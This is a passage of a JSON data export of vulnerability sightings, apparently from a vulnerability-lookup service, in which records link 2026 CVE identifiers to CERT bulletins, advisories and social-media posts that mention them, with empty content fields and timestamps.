"vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://www.cert.se/2026/02/cert-se-veckobrev-v9.html", "content": "", "creation_timestamp": "2026-02-27T13:15:00.000000Z"}, {"uuid": "8efffd08-eb8c-4e78-bbeb-28dc875d2144", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2006", "type": "seen", "source": "https://www.acn.gov.it/portale/w/operational-summary-febbraio-2026", "content": "", "creation_timestamp": "2026-03-26T07:00:56.000000Z"}, {"uuid": "094e88c9-dd3a-4cc3-a368-5573b62f6d52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20607", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/apple-products-multiple-vulnerabilities_20260325", "content": "", "creation_timestamp": "2026-03-25T03:00:00.000000Z"}, {"uuid": "9dca94fe-519b-4060-81cf-f0e1d374b218", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2005", "type": "seen", "source": "https://www.acn.gov.it/portale/w/operational-summary-febbraio-2026", "content": "", "creation_timestamp": "2026-03-26T07:00:56.000000Z"}, {"uuid": "c96fed9e-02e0-4338-926e-6c7b3e887bb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20631", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/apple-products-multiple-vulnerabilities_20260325", "content": "", "creation_timestamp": "2026-03-25T03:00:00.000000Z"}, {"uuid": "e1933d6a-92bd-41d7-a98f-f67314163fae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20639", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/apple-products-multiple-vulnerabilities_20260325", "content": "", "creation_timestamp": "2026-03-25T03:00:00.000000Z"}, {"uuid": "1b474ad1-bde4-4f08-8617-bb92395399c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/apple-products-multiple-vulnerabilities_20260325", "content": "", "creation_timestamp": "2026-03-25T03:00:00.000000Z"}, {"uuid": "a18d501c-4626-4ee8-8bca-29baba97f6f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20931", "type": "seen", "source": "https://gist.github.com/alon710/297b3f5379b390af612bc10c64eed8a8", "content": "", "creation_timestamp": "2026-01-24T22:27:34.000000Z"}, {"uuid": "ca1364a7-ece7-4208-a62b-ce528f97b7fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20931", "type": "seen", "source": "https://gist.github.com/alon710/3f661a066c17d895d31f7bb6d2547a88", "content": "", "creation_timestamp": "2026-01-24T22:27:31.000000Z"}, {"uuid": "797c48e2-d04e-425c-bea2-2b09cef61969", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20651", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/apple-products-multiple-vulnerabilities_20260325", "content": "", "creation_timestamp": "2026-03-25T03:00:00.000000Z"}, {"uuid": "5d01842f-4233-4c0e-8416-0661a14bc46f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mi63zu4zmh2m", "content": "", "creation_timestamp": "2026-03-29T02:29:08.407321Z"}, {"uuid": "2bea2fca-f166-45db-b199-686ef2a6f4b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20660", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/apple-products-multiple-vulnerabilities_20260325", "content": "", "creation_timestamp": "2026-03-25T03:00:00.000000Z"}, {"uuid": "c8cedcf4-553d-4029-8869-bd1cd87e1e33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20665", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/apple-products-multiple-vulnerabilities_20260325", "content": "", "creation_timestamp": "2026-03-25T03:00:00.000000Z"}, {"uuid": "93a8e6d9-5951-42ef-8aed-b63d3b968354", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20668", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/apple-products-multiple-vulnerabilities_20260325", "content": "", "creation_timestamp": "2026-03-25T03:00:00.000000Z"}, {"uuid": "d0198f09-7f0a-4b41-a8a0-a6234aaeeb64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mhlfqij5u223", "content": "", "creation_timestamp": "2026-03-21T16:02:16.808392Z"}, {"uuid": "d13566e3-fbaa-4031-95c9-45b3cdcdf961", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20687", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/apple-products-multiple-vulnerabilities_20260325", "content": "", "creation_timestamp": "2026-03-25T03:00:00.000000Z"}, {"uuid": "3d81a4a9-062e-4bf8-aecb-6a870f78744a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/postgoo.bsky.social/post/3mhnm2i5ujb2k", "content": "", "creation_timestamp": "2026-03-22T13:00:33.944754Z"}, {"uuid": "4640aeb9-fffc-49ad-82e3-88bea9a84c7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20688", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/apple-products-multiple-vulnerabilities_20260325", "content": "", "creation_timestamp": "2026-03-25T03:00:00.000000Z"}, {"uuid": "f840d2e6-32b8-460d-9c42-7a38252245f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20690", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/apple-products-multiple-vulnerabilities_20260325", "content": "", "creation_timestamp": "2026-03-25T03:00:00.000000Z"}, {"uuid": "32c9207f-cf13-4b66-bf60-d036dfb15a34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://cyber.gc.ca/en/news-events/joint-guidance-malicious-cyber-threats-sd-wan-networks", "content": "", "creation_timestamp": "2026-02-25T16:10:24.000000Z"}, {"uuid": "ff740032-29e9-49ac-bd72-7210ce213e4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20129", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/b24f0b20-207c-4881-af91-eb1d15b224ba", "content": "", "creation_timestamp": "2026-02-25T16:34:22.000000Z"}, {"uuid": "78ff9984-b897-405d-bbb0-a098581ab820", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20691", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/apple-products-multiple-vulnerabilities_20260325", "content": "", "creation_timestamp": "2026-03-25T03:00:00.000000Z"}, {"uuid": "e72a52da-8297-45ec-aa2b-c3f1183d55df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20726", "type": "seen", "source": "https://infosec.place/objects/5bdcc101-bda7-4b18-b21b-304536505c2e", "content": "", "creation_timestamp": "2026-03-17T19:30:40.264419Z"}, {"uuid": "dcac2404-b7a9-464e-b436-781894a19bff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/b24f0b20-207c-4881-af91-eb1d15b224ba", "content": "", "creation_timestamp": "2026-02-25T16:34:22.000000Z"}, {"uuid": "50d5a929-21da-43a8-bc71-8c3000bb36b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20126", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/b24f0b20-207c-4881-af91-eb1d15b224ba", "content": "", "creation_timestamp": "2026-02-25T16:34:22.000000Z"}, {"uuid": "c1860923-8916-4045-a85d-9f472e714558", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20692", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/apple-products-multiple-vulnerabilities_20260325", "content": "", "creation_timestamp": "2026-03-25T03:00:00.000000Z"}, {"uuid": "3540f58c-396e-49aa-a222-3980215bbad6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20435", "type": "seen", "source": "https://bsky.app/profile/flarestart.bsky.social/post/3mgv3h672yq2k", "content": "", "creation_timestamp": "2026-03-12T18:59:32.444195Z"}, {"uuid": "121f4d2b-3518-4234-9d99-062cebed07ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20133", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/b24f0b20-207c-4881-af91-eb1d15b224ba", "content": "", "creation_timestamp": "2026-02-25T16:34:22.000000Z"}, {"uuid": "338bdbf4-7f88-45f9-8017-78934258826f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20693", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/apple-products-multiple-vulnerabilities_20260325", "content": "", "creation_timestamp": "2026-03-25T03:00:00.000000Z"}, {"uuid": "cfd74578-00a0-4196-b53a-59cd64de7168", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20122", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/b24f0b20-207c-4881-af91-eb1d15b224ba", "content": "", "creation_timestamp": "2026-02-25T16:34:22.000000Z"}, {"uuid": "4bf88d51-5992-45b8-8971-61dfa092b748", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20694", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/apple-products-multiple-vulnerabilities_20260325", "content": "", "creation_timestamp": "2026-03-25T03:00:00.000000Z"}, {"uuid": "5f795927-4fca-4cc8-bdd0-9a329c969d73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2004", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mgv3zfxvpc2n", "content": "", "creation_timestamp": "2026-03-12T19:09:47.530485Z"}, {"uuid": "a47f317f-4f10-4a40-99b7-a8bd8cef13e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20126", "type": "seen", "source": "https://www.cert.si/si-cert-2026-01/", "content": "", "creation_timestamp": "2026-02-25T19:26:43.000000Z"}, {"uuid": "41c08c01-bd3e-4b2f-8210-00ed4896cf95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2005", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mgv3zfxvpc2n", "content": "", "creation_timestamp": "2026-03-12T19:09:47.632803Z"}, {"uuid": "ba4b1084-df4c-49ee-8852-5b9da788464c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "https://www.cert.si/si-cert-2026-01/", "content": "", "creation_timestamp": "2026-02-25T19:26:43.000000Z"}, {"uuid": "15a19cdf-74eb-439c-abac-40f6e1641382", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2006", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mgv3zfxvpc2n", "content": "", "creation_timestamp": "2026-03-12T19:09:47.712901Z"}, {"uuid": "1a5b7bcd-3d4b-4e9d-85b9-ab2f2634a973", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20122", "type": "seen", "source": "https://www.cert.si/si-cert-2026-01/", "content": "", "creation_timestamp": "2026-02-25T19:26:43.000000Z"}, {"uuid": "66478c8e-e27e-49e8-b073-4113fb8d3620", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20131", "type": "seen", "source": "https://bsky.app/profile/flarestart.bsky.social/post/3mhljrp6hii2s", "content": "", "creation_timestamp": "2026-03-21T17:14:32.111584Z"}, {"uuid": "46ee6460-5009-4360-9b11-4278ba0f7b92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://www.cert.si/si-cert-2026-01/", "content": "", "creation_timestamp": "2026-02-25T19:26:43.000000Z"}, {"uuid": "a4e2a6d3-2a83-4ee4-afe3-49213e55bc86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://www.cert.se/2026/02/kritisk-nolldagssarbarhet-i-cisco-catalyst-sd-wan.html", "content": "", "creation_timestamp": "2026-02-26T07:45:00.000000Z"}, {"uuid": "8d2e75f8-0a03-4de7-a572-6642f90053e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-19)", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "50a34af1-b5ab-4dde-a549-e8290b12b6eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "https://www.cert.se/2026/02/kritisk-nolldagssarbarhet-i-cisco-catalyst-sd-wan.html", "content": "", "creation_timestamp": "2026-02-26T07:45:00.000000Z"}, {"uuid": "c39355fb-7d30-4aa3-a02f-5bc3f359e085", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20126", "type": "seen", "source": "https://www.cert.se/2026/02/kritisk-nolldagssarbarhet-i-cisco-catalyst-sd-wan.html", "content": "", "creation_timestamp": "2026-02-26T07:45:00.000000Z"}, {"uuid": "a5bd0126-c1b2-401c-9e8c-893fb3353c1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mhlknnulhv2s", "content": "", "creation_timestamp": "2026-03-21T17:30:11.343973Z"}, {"uuid": "745e1ea4-8a1f-4f7d-9e32-429ac63423b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2072", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/hitachi-security-advisory-av26-279", "content": "", "creation_timestamp": "2026-03-25T18:14:51.000000Z"}, {"uuid": "96ae4485-72e8-431b-9941-ba0956621143", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20122", "type": "seen", "source": "https://www.cert.se/2026/02/kritisk-nolldagssarbarhet-i-cisco-catalyst-sd-wan.html", "content": "", "creation_timestamp": "2026-02-26T07:45:00.000000Z"}, {"uuid": "3ce538f5-9800-4c31-b2d0-983edc0c8802", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2072", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhugaebt4v2i", "content": "", "creation_timestamp": "2026-03-25T06:05:07.513569Z"}, {"uuid": "d0c4d085-dee0-42dc-8f65-adc787f01f05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://www.cert.se/2026/03/kritiska-sarbarheter-i-cisco-fmc-och-cisco-scc.html", "content": "", "creation_timestamp": "2026-03-05T09:05:00.000000Z"}, {"uuid": "2a526ef7-d462-4e74-8512-1c82f5e5547b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/abesamma.toolsforthought.social.ap.brid.gy/post/3mi6ekuf2taz2", "content": "", "creation_timestamp": "2026-03-29T05:01:53.844622Z"}, {"uuid": "80863667-3dca-4e3f-833b-4b4773e1e023", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20657", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116288418723354760", "content": "", "creation_timestamp": "2026-03-25T06:34:12.228445Z"}, {"uuid": "c6106b9c-14aa-42cf-ac18-ea24954c081c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/abesamma.bsky.social/post/3mi6ev6z5vc26", "content": "", "creation_timestamp": "2026-03-29T05:07:35.933688Z"}, {"uuid": "87c604a9-c85d-45dc-b042-ccd23198a55d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/hakksaww.bsky.social/post/3mhq5vp2nfr2n", "content": "", "creation_timestamp": "2026-03-23T13:25:20.249424Z"}, {"uuid": "61b30162-51ee-46ba-883c-667a9c5033ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mhlowf5npk2h", "content": "", "creation_timestamp": "2026-03-21T18:46:38.583182Z"}, {"uuid": "86cafcae-cb8e-4e6b-bee3-72e67892bd49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mhffyi5qes23", "content": "", "creation_timestamp": "2026-03-19T06:50:46.334278Z"}, {"uuid": "1e2b998e-b9d8-44eb-949e-9948da176f76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "https://www.ncsc.nl/alerts/actief-misbruik-van-kwetsbaarheden-in-cisco-producten", "content": "", "creation_timestamp": "2026-03-06T15:20:00.000000Z"}, {"uuid": "567ed5ba-0c31-4592-98dc-4f897dc5fe80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://bsky.app/profile/guardian360.bsky.social/post/3mhfjupt5lx2c", "content": "", "creation_timestamp": "2026-03-19T08:00:15.241418Z"}, {"uuid": "52dc1dc8-d617-40b0-af79-dd36423b087e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2072", "type": "seen", "source": "https://jvndb.jvn.jp/en/contents/2026/JVNDB-2026-009147.html", "content": "", "creation_timestamp": "2026-03-29T02:00:07.000000Z"}, {"uuid": "d305bd62-e28a-4baa-96e9-8ecfb6803498", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20698", "type": "seen", "source": "https://bsky.app/profile/sideload.bsky.social/post/3micnml6l5f2i", "content": "", "creation_timestamp": "2026-03-30T21:54:29.258965Z"}, {"uuid": "0d060ff9-4e8e-4466-93a0-903e82803ddd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mhlrrc54ak23", "content": "", "creation_timestamp": "2026-03-21T19:37:29.192157Z"}, {"uuid": "c15faa01-518a-4b46-9820-5e3a2882c527", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mhq6pddbmc22", "content": "", "creation_timestamp": "2026-03-23T13:39:41.487514Z"}, {"uuid": "daa79068-171d-4f21-b34d-ffa854aeea45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://www.cert.se/2026/03/kritiska-sarbarheter-i-cisco-fmc-och-cisco-scc.html", "content": "", "creation_timestamp": "2026-03-05T09:05:00.000000Z"}, {"uuid": "38335b1c-9cf2-4d51-b6e5-2e8aa0b92a40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20701", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/apple-products-multiple-vulnerabilities_20260325", "content": "", "creation_timestamp": "2026-03-25T03:00:00.000000Z"}, {"uuid": "3cbd602b-ac66-4bff-bc2d-4415627b7497", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "seen", "source": "https://bsky.app/profile/crowdcyber.bsky.social/post/3mhyzmvttea25", "content": "", "creation_timestamp": "2026-03-27T02:02:47.823260Z"}, {"uuid": "5d8d3378-fdda-4aea-bd2d-30e7d3fd4f6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://www.vulncheck.com/blog/cisco-fmc-auth-bypass-cve-2026-20079", "content": "", "creation_timestamp": "2026-03-29T02:00:09.000000Z"}, {"uuid": "aac9d9a7-4508-4b44-b17b-3a9d91a5e0d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mhz33vqhae2y", "content": "", "creation_timestamp": "2026-03-27T02:29:06.812388Z"}, {"uuid": "31ff8433-4968-4caf-a41e-62d7816d449c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://www.cert.se/2026/03/cert-se-veckobrev-v10.html", "content": "", "creation_timestamp": "2026-03-06T13:30:00.000000Z"}, {"uuid": "7f458f83-192d-40a4-84f0-d52e23b0e9ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mhgoum5gc42b", "content": "", "creation_timestamp": "2026-03-19T19:02:20.151598Z"}, {"uuid": "dbd40b4b-b7ab-4cd8-bf58-5a842006c15c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://www.cert.se/2026/03/cert-se-veckobrev-v10.html", "content": "", "creation_timestamp": "2026-03-06T13:30:00.000000Z"}, {"uuid": "ec86f8ca-475b-468c-b367-98bebc896f1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://www.cert.se/2026/03/cert-se-veckobrev-v10.html", "content": "", "creation_timestamp": "2026-03-06T13:30:00.000000Z"}, {"uuid": "2885cd8a-8c60-4e28-8edb-475a05e61dba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://bsky.app/profile/pt-noticias.bsky.social/post/3mhjmnslyml2e", "content": "", "creation_timestamp": "2026-03-20T23:00:43.414927Z"}, {"uuid": "a584c5a6-cfe1-4ba7-a19f-d67428ca3db3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://www.ncsc.nl/alerts/actief-misbruik-van-kwetsbaarheden-in-cisco-producten", "content": "", "creation_timestamp": "2026-03-06T15:20:00.000000Z"}, {"uuid": "a1aae2e8-4396-4bc7-b1b6-d513eaef4a53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3md7olu6nv42a", "content": "", "creation_timestamp": "2026-01-25T02:28:01.362169Z"}, {"uuid": "f01a7f8e-23dd-454c-b8c4-69b362bb053a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 